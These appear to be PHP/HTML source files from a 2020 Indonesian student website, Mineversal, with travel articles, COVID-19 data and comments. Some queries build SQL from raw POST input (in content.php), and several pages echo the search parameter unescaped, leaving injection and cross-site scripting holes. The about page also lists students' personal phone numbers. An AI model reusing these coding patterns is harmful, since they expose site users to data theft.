<script src="user/framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="user/framework/js/owl.carousel.min.js"></script>
<link rel="stylesheet" href="user/framework/css/owl.carousel.min.css">
<link rel="shortcut icon" href="user/assets/img/logo1.png"/>
<title>Mineversal | About Us</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18.6px;
background-color: rgb(27, 27, 27);
height: auto;
}
#cont p, #cont h1, #cont h2, .title, .sub-title {
color: white;
font-family: 'Alegreya';
font-size: 18.6px;
}
#cont hr {
border-color: white;
}
#slider {
z-index: 0;
}
.card {
flex: 1;
margin: 0 10px;
background: rgb(36, 34, 34)
}
.card .img {
width: 100%;
}
.card .img img {
height: 100%;
width: 100%;
object-fit: cover;
}
.card .content {
padding: 10px 20px;
}
</style>
</head>
<body>
<header id="bar" class="barheader sticky">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="user/search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-folder"></i> SIGN UP</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate text-left col-md-4 mx-auto" action="" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Sign Up</h1>
<p>Please fill in this form to create an account.</p>
</div>
<hr>
<label for="name"><b>Name</b></label>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input type="text" placeholder="Enter Name" name="name" required>
</div>
<label for="uname"><b>Username</b></label>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input type="text" placeholder="Enter Username" name="username" required>
</div>
<label for="email"><b>Email</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<input type="text" placeholder="Enter Email" name="email" required>
</div>
<label for="psw"><b>Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="<PASSWORD>" placeholder="Enter Password" name="password" required>
</div>
<label for="psw-repeat"><b>Repeat Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="password" placeholder="Repeat Password" name="konf_password" required>
</div>
<label>
<input type="checkbox" checked="checked" name="remember" style="margin-bottom:15px"> Remember me
</label>
<p>By creating an account you agree to our <a href="#" style="color:dodgerblue">Terms & Privacy</a>.</p>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="register">Sign Up</button>
</div>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('login').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-user"></i> LOGIN</a>
<div id="login" class="login-bg">
<form class="login-content animate col-md-4 mx-auto text-left" method="POST" action="">
<div class="login-imgcontainer">
<span onclick="document.getElementById('login').style.display='none'" class="close" title="Close Modal">×</span>
<img src="user/assets/img/avatar.jpg" alt="Avatar" class="avatar">
</div>
<div class="login-container">
<label for="email"><b>Email or Username</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<input type="text" placeholder="Enter Email or Username" name="username" required>
</div>
<label for="psw"><b>Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="<PASSWORD>" placeholder="Enter Password" name="password" required>
</div>
<button class="submitlog-btn" type="submit" name="login">Login</button>
<label>
<input type="checkbox" checked="checked" name="remember"> Remember me
</label>
</div>
<div class="login-container" style="background-color:#f1f1f1">
<button type="button" onclick="document.getElementById('login').style.display='none'" class="cancelbtn">Cancel</button>
<span class="psw">Forgot <a href="#">password?</a></span>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div id="cont" class="container-fluid mt-5 pt-5">
<div class="row">
<div class="col-md-12">
<?php if($error_same){ ?>
<div class="alert alert-danger" role="alert"><strong>Username dan Email sudah terdaftar!</strong> <?php echo htmlentities($error_same);?></div>
<?php } ?>
<?php if($msg_reg){ ?>
<div class="alert alert-success" role="alert"><strong>Data Kamu Berhasil Tersimpan!</strong> <?php echo htmlentities($msg_reg);?></div>
<?php } ?>
<?php if($error_reg){ ?>
<div class="alert alert-danger" role="alert"><strong>Yah Maaf!</strong> <?php echo htmlentities($error_reg);?></div>
<?php } ?>
<?php if($error_log){ ?>
<div class="alert alert-danger" role="alert"><strong>Password Salah!</strong> <?php echo htmlentities($error_log);?></div>
<?php } ?>
<?php if($error_conf_psw){ ?>
<div class="alert alert-danger" role="alert"><strong>Password dan Konfirmasi Password Tidak Sama!</strong> <?php echo htmlentities($error_conf_psw);?></div>
<?php } ?>
<?php if($error_not_user){ ?>
<div class="alert alert-danger" role="alert"><strong>Maaf Kamu tidak terdaftar!</strong> <?php echo htmlentities($error_not_user);?></div>
<?php } ?>
<div class="card">
<div class="img"><img src="user/assets/img/Mineversal.jpg" alt="Mineversal"></div>
<div class="content">
<div class="title">ABOUT US</div>
<div class="sub-title">PROJECT FLOW</div>
<hr>
<p>Selamat Datang di Website Pertama Kami, Mineversal, Mineversal memiliki makna yaitu
"milik bersama" karena ini merupakan Project gabungan yang dibuat oleh satu tim berisikan
5 orang yaitu Zidan, Ivana, Nadya, Azhar, dan Gading dan dikembangkan bersama-sama. Website
ini dibuat untuk memenuhi persyaratan kelulusan dari Mata Kuliah Pemrograman Web. Pengembangan
dimulai pada tanggal 15 September dengan menentukan ide dari Project website yang kami ingin
buat ini, dari semua ide yang telah dipaparkan terdapat 3 ide utama yang ingin kami fokuskan
di web ini yaitu, Travelling Online, Data COVID-19 dan juga Habbit Tracker. Desain Sistem, UI/UX
mulai dibuat pada tanggal 20 September 2020 oleh Nadya. Setelah UI/UX dibuat Pembangunan dan
pengembangan prototype dimulai pada tanggal 27 September 2020 dengan menggunakan Native CSS dan
belum menggunakan Framework yang dibuat oleh Nadya dan juga Ivana. prototype tersebut kemudian
dirapihkan dan juga dibuat lebih responsive oleh Azhar. desain dan pembuatan database dibuat
pada tanggal 5 Oktober 2020 yang dibuat oleh Gading dan Zidan pun mulai membuat script back
end untuk menghubungkan database dengan prototype web kami. fitur login berhasil dibuat dan
setelahnya kami mulai menambahkan fitur utama dan juga fitur pendukung untuk melengkapi web kami.
13 Oktober kami mulai mencoba mengonlinekan website kami dan web kami pun mulai online dan dapat
diakses oleh orang dari berbagai dunia. Online Travelling ditambahkan sebagai fitur dikarenakan
kami sebagai mahasiswa mendukung penuh kebijakan pemerintah terhadap kondisi pandemi ini yang
mengharuskan masyarakat tetap dirumah atau work from home, dengan dibuatnya fitur Online
Travelling ini kami berharap dapat membantu kebijakan pemerintah dan juga membantu masyarakat
yang merasa jenuh dirumah untuk berlibur secara daring lewat berbagai artikel liburan yang telah
kami tulis di web ini. Untuk fitur data COVID-19 itu merupakan fitur untuk memberitahukan kepada
masyarakat secara terbuka persebaran dari COVID-19 agar masyarakat dapat semakin berhati-hati
dalam menjalankan aktivitasnya diluar rumah. Untuk fitur Habbit Tracker sendiri ialah fitur untuk
mengingatkan aktivitas dan keseharian masyarakat selama dirumah, pengingatnya berupa email dari
web kami yang akan dikirimkan kepada email masing-masing user dari web kami. Terima Kasih,
Silahkan Manfaatkan fitur yang ada di web kami.<p>
</div>
</div>
</div>
</div>
<br>
<h2 class="text-center">DEVELOPER TEAM</h2>
<hr>
<div class="row">
<div class="col-md-12">
<div id="slider" class="owl-carousel owl-theme slider slideshow">
<div class="card">
<div class="img"><img src="user/assets/img/nadya.jpeg" alt="Nadya"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As UI/UX Designer and Front End Developer</p>
<div class="btn">
<a class="call" href="https://instagram.com/amnndya">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="user/assets/img/ivana.png" alt="Ivana"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Content Researcher and Front End Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281296932033">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="user/assets/img/azhar.jpg" alt="Azhar"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Project Manager and Full Stack Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281317441991">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="user/assets/img/gading.jpeg" alt="Gading"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Data Researcher and Back End Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281294201579">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="user/assets/img/zidan.jpeg" alt="Zidan"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Feature Inovator and Back End Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281906852062">Contact</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script>
$(".slider").owlCarousel({
loop: true,
autoplay: true,
autoplayTimeout: 2000, //2000ms = 2s;
autoplayHoverPause: true,
responsiveClass: true,
margin:10,
responsive:{
0:{
items:1,
nav:true,
dots:false
},
600:{
items:3,
nav:false,
dots:false
},
1000:{
items:5,
nav:false,
dots:false
}}
});
</script>
<script src="user/assets/js/index.js" type="text/javascript"></script>
<script src="user/framework/js/bootstrap.bundle.min.js" type="text/JavaScript"></script>
</html><file_sep>/user/content.php
<?php
require_once("auth.php");
include('config.php');
if(isset($_POST['submit'])) {
$nama = $_POST['nama'];
$comment = $_POST['comment'];
$postid = $_POST['idpost'];
$st1 = '0';
$cmquery = mysqli_query($kon, "INSERT INTO comments(idpost, nama, comment, status) VALUES('$postid','$nama','$comment','$st1')");
if($cmquery) {
$msgkom = "Komentar akan ditampilkan setelah di review oleh admin";
} else {
$msgkom = "Silahkan Coba Lagi.";
}
}
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="assets/css/content.css" type="text/css"/>
<link rel="stylesheet" href="assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="stylesheet" href="assets/css/style.css">
<script src="framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="framework/js/owl.carousel.min.js"></script>
<link rel="stylesheet" href="framework/css/owl.carousel.min.css">
<link rel="shortcut icon" href="assets/img/logo1.png"/>
<title>Mineversal | Online Travelling</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18.6px;
background-color: rgb(27, 27, 27);
height: auto;
}
tr, td {
color: white;
}
#cont p, #cont h1, #cont h2, #cont h5, #comment, #putih {
color: white;
}
#cont hr {
border-color: white;
}
#slider {
z-index: 0;
}
.card {
flex: 1;
margin: 0 10px;
background: rgb(36, 34, 34)
}
.card .img {
width: 100%;
}
.card .img img {
height: 100%;
width: 100%;
object-fit: cover;
}
.card .content {
padding: 10px 20px;
}
</style>
</head>
<body>
<header id="bar" class="barheader sticky">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="account" class="nav-link"><i class="fa fa-fw fa-user"></i> MY ACCOUNT</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-close"></i> LOGOUT</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate col-md-4 mx-auto" action="logout.php" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Log Out Confirm</h1>
<p>Are you sure you want logout?</p>
</div>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="logout">Log Out</button>
</div>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div id="cont" class="container-fluid mt-5 pt-5">
<div class="row">
<div class="col-md-12">
<?php if($msgkom){ ?>
<div class="alert alert-success" role="alert"><strong>Komentar berhasil di submit.</strong> <?php echo htmlentities($msgkom);?></div>
<?php } ?>
<?php if($errorkom){ ?>
<div class="alert alert-danger" role="alert"><strong>Komentar gagal disubmit!</strong> <?php echo htmlentities($errorkom);?></div>
<?php } ?>
<?php
$id = intval($_GET['id']);
$query = mysqli_query($kon, "SELECT post.title as title, post.admin as admin, post.image, post.description as description, post.PostingDate as postingdate, post.url as url FROM post WHERE post.id='$id'");
while ($row = mysqli_fetch_array($query)) {
?>
<div class="card">
<div class="img"><img src="https://tugas.mineversal.com/admin/images/<?php echo htmlentities($row['image']);?>" alt="<?php echo htmlentities($row['title']);?>"></div>
<div class="content">
<h3 id="putih" class="title text-center"><?php echo htmlentities($row['title']);?></h3>
<hr id='batas'>
<p class="ic card-text mt-3" style="text-align: justify;"><?php
$pt = $row['description'];
echo (substr($pt, 0));?>
</p>
<p class="text-center"><b> Posted on </b><?php echo htmlentities($row['postingdate']);?></p>
<p class="text-center"><b> Posted by </b><?php echo htmlentities($row['admin']);?></p>
</div>
</div>
<?php } ?>
</div>
</div>
<br>
<h2>COVID DATA IN THIS PLACE</h2>
<hr>
<div class="row">
<div class="col-md-12">
<table class="table table-bordered">
<thead>
<th>Nama Provinsi</th>
<th>Total Positif</th>
<th>Total Sembuh</th>
<th>Total Kematian</th>
</thead>
<tbody id="table-data">
</tbody>
</table>
</div>
</div>
<br>
<h2>KOMENTAR</h2>
<hr>
<div class="row">
<div class="col-md-12">
<?php
$id = intval($_GET['id']);
$sts = 1;
$query = mysqli_query($kon, "SELECT nama, comment, PostingDate FROM comments WHERE idpost='$id' AND status='$sts'");
while ($row = mysqli_fetch_array($query)) {
?>
<div class="media mb-4">
<img class="d-flex mr-3 rounded-circle" src="assets/img/avatar.jpg" alt="ini user logo" width="75px">
<div id="comment" class="media-body" style="text-align: justify;">
<h5 class="mt-0"><?php echo htmlentities($row['nama']);?> <br />
<span style="font-size:11px;"><b>at</b> <?php echo htmlentities($row['PostingDate']);?></span>
</h5>
<?php echo htmlentities($row['comment']);?>
</div>
</div>
<?php } ?>
</div>
</div>
<br>
<h2>LEAVE A COMMENT</h2>
<hr>
<div class="row">
<div class="col-md-12">
<form name="Comment" action="" method="POST">
<input type="hidden" name="idpost" value="<?php echo htmlentities($_GET['id']); ?>" />
<div class="form-group">
<input type="text" name="nama" class="form-control" value="<?php echo htmlentities($_SESSION['user']['name']); ?>" readonly>
</div>
<div class="form-group">
<textarea class="form-control" name="comment" rows="3" placeholder="Comment" required></textarea>
</div>
<button type="submit" class="buttonbar" name="submit">Submit</button>
</form>
</div>
</div>
<br>
<h2>MORE POST</h2>
<hr>
<div class="row">
<div class="col-md-12">
<div id="slider" class="owl-carousel owl-theme slider">
<?php
$query=mysqli_query($kon,"SELECT id as id, admin as admin, image, title as title FROM post WHERE post.Is_Active=1");
$rowcount=mysqli_num_rows($query);
if($rowcount==0){
?>
<div><h1>Tidak Ada Post</h1></div>
<?php
} else {
while($row = mysqli_fetch_array($query)) {
?>
<div class="card">
<div class="img"><img src="https://tugas.mineversal.com/admin/images/<?php echo htmlentities($row['image']);?>" alt="<?php echo htmlentities($row['title']);?>"></div>
<div class="content">
<div id="putih" class="title"><?php echo htmlentities($row['title']);?></div>
<div id="putih" class="sub-title"></div>
<p></p>
<div class="btn">
<a class="call" href="content?id=<?php echo htmlentities($row['id']);?>">Go To Page</a>
</div>
</div>
</div>
<?php } }?>
</div>
</div>
</div>
</div>
<br>
<footer class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
<h5>Jakarta, 27 September 2020</h5>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</footer>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script>
$(".slider").owlCarousel({
loop: true,
autoplay: true,
autoplayTimeout: 2000, //2000ms = 2s;
autoplayHoverPause: true,
responsiveClass: true,
margin:10,
responsive:{
0:{
items:1,
nav:true,
dots:false
},
600:{
items:2,
nav:false,
dots:false
},
1000:{
items:4,
nav:false,
dots:false
}}
});
</script>
<script src="assets/js/content.js" type="text/javascript"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
DataProvinsi()
function DataProvinsi(){
$.ajax({
url : "curl?postid=<?php echo intval($_GET['id']);?>",
type : "GET",
success : function(data){
try{
$('#table-data').html(data);
} catch {
alert('error');
}
}
})
}
</script>
<script src="framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="framework/js/bootstrap.bundle.min.js" type="text/JavaScript"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
</html><file_sep>/user/provincedata.php
<?php require_once("auth.php"); ?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<head>
<link rel="stylesheet" href="assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<link rel="shortcut icon" href="assets/img/logo1.png"/>
<title>Mineversal | World Data COVID-19</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18.6px;
background-color: rgb(27, 27, 27);
height: auto;
}
.container h1, tr, tb {
color: white;
}
hr {
border-color: white;
}
</style>
</head>
<body>
<header id="bar" class="barheader sticky">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="account" class="nav-link"><i class="fa fa-fw fa-user"></i> MY ACCOUNT</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-close"></i> LOGOUT</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate col-md-4 mx-auto" action="logout.php" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Log Out Confirm</h1>
<p>Are you sure you want logout?</p>
</div>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="logout">Log Out</button>
</div>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div class="container mb-5 pt-5">
<h1 class="text-center mt-5">Province Data COVID-19 Realtime</h1>
<hr>
<div class="row">
<div class="col-sm-12">
<div class="card-box">
<div class="table-responsive">
<table class="table table-colored table-centered table-inverse m-0 bg-dark">
<table class="table table-striped bg-dark">
<thead>
<tr id="data">
<table class="table table-striped bg-dark">
<thead>
<th>No.</th>
<th>Nama Provinsi</th>
<th>Total Positif</th>
<th>Total Sembuh</th>
<th>Total Kematian</th>
</thead>
<tbody id="table-data">
</tbody>
</table>
</tr>
</thead>
</table>
</table>
</div>
</div>
</div>
</div>
</div>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script src="assets/js/content.js" type="text/javascript"></script>
<script src="framework/js/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="framework/js/bootstrap.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
DataProvinsi()
function DataProvinsi(){
$.ajax({
url : 'includes/curl.php',
type : 'GET',
success : function(data){
try{
$('#table-data').html(data);
} catch{
alert('error');
}
}
})
}
</script>
</html><file_sep>/user/index.php
<?php require_once("auth.php");
require_once("includes/config.php");
if(isset($_POST['ks'])){
$name = filter_input(INPUT_POST, 'nama', FILTER_SANITIZE_STRING);
$feedback = filter_input(INPUT_POST, 'feedback', FILTER_SANITIZE_STRING);
$rating = filter_input(INPUT_POST, 'rating', FILTER_SANITIZE_STRING);
$sql = "INSERT INTO feedback (name, feedback, rating) VALUES (:name, :feedback, :rating)";
$stmt = $db->prepare($sql);
$params = array(
":name" => $name,
":feedback" => $feedback,
":rating" => $rating
);
$saved = $stmt->execute($params);
if($saved) {
$msg_ks = "Kritik dan Saranmu Sangat Penting untuk Pengembangan Web Kami!";
} else {
$error_ks = "Sepertinya ada yang salah, silahkan coba lagi.";
};
}
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="stylesheet" href="assets/css/style.css">
<script src="framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="framework/js/owl.carousel.min.js"></script>
<link rel="stylesheet" href="framework/css/owl.carousel.min.css">
<link rel="shortcut icon" href="assets/img/logo1.png"/>
<title>Mineversal | User</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18px;
}
hr, #line {
border: 1px solid #333;
margin-bottom: 25px;
}
tr, td {
color: white;
}
.bg-image {
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
height: 22.5%;
background: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url(./assets/img/bg3.jpg) no-repeat;
background-position: center;
background-size: cover;
position: relative;
}
.main-container .main hr, .profile hr {
color: white;
border-color: white;
}
#slider {
z-index: 0;
}
#add-habbit {
font-size: 25px;
background-color: black;
}
#add-habbit:hover {
background-color: #777;
color: white;
text-decoration: none;
}
</style>
</head>
<body>
<header id="bar" class="barheader">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
